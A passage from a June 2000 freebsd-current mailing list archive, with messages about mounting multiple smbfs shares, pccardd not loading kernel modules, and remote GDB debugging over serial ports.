(WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-current@freebsd.org Subject: smbfs second mount Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi All On Freebsd 4.0-Release I am trying the smbfs-1.2.1 to mount a couple of NT shares so that I can read some files and copy them to a web server. The problem I am having is that the second mount kills the first. I do mount_smbfs -I machine1 //user1@BP_NT_SVR/user1 BP then mount_smbfs -I machine1 //user2@BP_NT_SVR/output CRO then on ls BP I get ls: BP: Broken pipe I thought that that might be because I had only 1 device entry in /dev/net so I did cd /dev/net mknod nsmb1 c 144 1 mknod nsmb1 c 144 1 mknod nsmb1 c 144 1 mknod nsmb1 c 144 1 Which didn't help. What else should I check or try to get more than one concurent smbfs mounted? TIA --kit To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 23:13:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id E379837B8E2; Sat, 17 Jun 2000 23:13:39 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id AAA28258; Sun, 18 Jun 2000 00:13:38 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id AAA47306; Sun, 18 Jun 2000 00:12:17 -0600 (MDT) Message-Id: <200006180612.AAA47306@harmony.village.org> To: Pete Carah Subject: Re: pccardd and modules Cc: current@FreeBSD.ORG, mobile@FreeBSD.ORG In-reply-to: Your message of "Mon, 12 Jun 2000 07:53:02 PDT." <200006121453.HAA23263@ns.altadena.net> References: <200006121453.HAA23263@ns.altadena.net> Date: Sun, 18 Jun 2000 00:12:17 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006121453.HAA23263@ns.altadena.net> Pete Carah writes: : I notice that though ifconfig does a kld as appropriate, pccardd doesn't : at least as of a week ago. Still looks like it isn't in the source. Nope. : 1. Is this in the works from one of the normal maintainers? If not I : might take a look at fixing it up over the next week or so. Nope. pccardd is hard to hack, although with many of the merges have made it easier. Good luck. We welcome your future patches. :-) Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 17 23:39:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.du.gtn.com (mail.du.gtn.com [194.77.9.57]) by hub.freebsd.org (Postfix) with ESMTP id 371D237B770 for ; Sat, 17 Jun 2000 23:39:13 -0700 (PDT) (envelope-from ticso@cicely8.cicely.de) Received: from mail.cicely.de (cicely.de [194.231.9.142]) by mail.du.gtn.com (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id e5I6crY00453 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified FAIL); Sun, 18 Jun 2000 08:38:58 +0200 (MET DST) Received: from cicely8.cicely.de (cicely8.cicely.de [10.1.2.10]) by mail.cicely.de (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5I6cvC77260; Sun, 18 Jun 2000 08:38:58 +0200 (CEST) Received: (from ticso@localhost) by cicely8.cicely.de (8.9.3/8.9.2) id IAA11379; Sun, 18 Jun 2000 08:38:52 +0200 (CEST) (envelope-from ticso) Date: Sun, 18 Jun 2000 08:38:51 +0200 From: Bernd Walter To: "Justin T. Gibbs" Cc: Greg Lehey , current@FreeBSD.ORG Subject: Re: Remote GDB *still* buggy... Message-ID: <20000618083851.A11304@cicely8.cicely.de> References: <20000614111059.B7525@sydney.worldwide.lemis.com> <200006141827.MAA53158@pluto.plutotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200006141827.MAA53158@pluto.plutotech.com>; from gibbs@plutotech.com on Wed, Jun 14, 2000 at 12:27:27PM -0600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Jun 14, 2000 at 12:27:27PM -0600, Justin T. Gibbs wrote: > >On Wednesday, 14 June 2000 at 11:05:41 -0600, Justin T. Gibbs wrote: > >> I still can't get remote GDB to work correctly in a 5.0-current > >> environment at speeds greater than 9600bps. Is anyone else > >> experiencing similar results? I thought that grog had fixed this... > > > >So did I. Are you just getting hangs? What kind of UART? > > On which side of the connection? I'm using my Thinkpad 770X > as the GDB host and it says: > > sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 > sio0: type 16550A > > On the machine I'm trying to debug, a Dell Precision 410, I have: > sio1 at port 0x2f8-0x2ff irq 3 on isa0 > sio1: type 16550A Isn't it needed anymore to set flags 0x80 on the debug port? -- B.Walter COSMO-Project http://www.cosmo-project.de ticso@cicely.de Usergroup info@cosmo-project.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message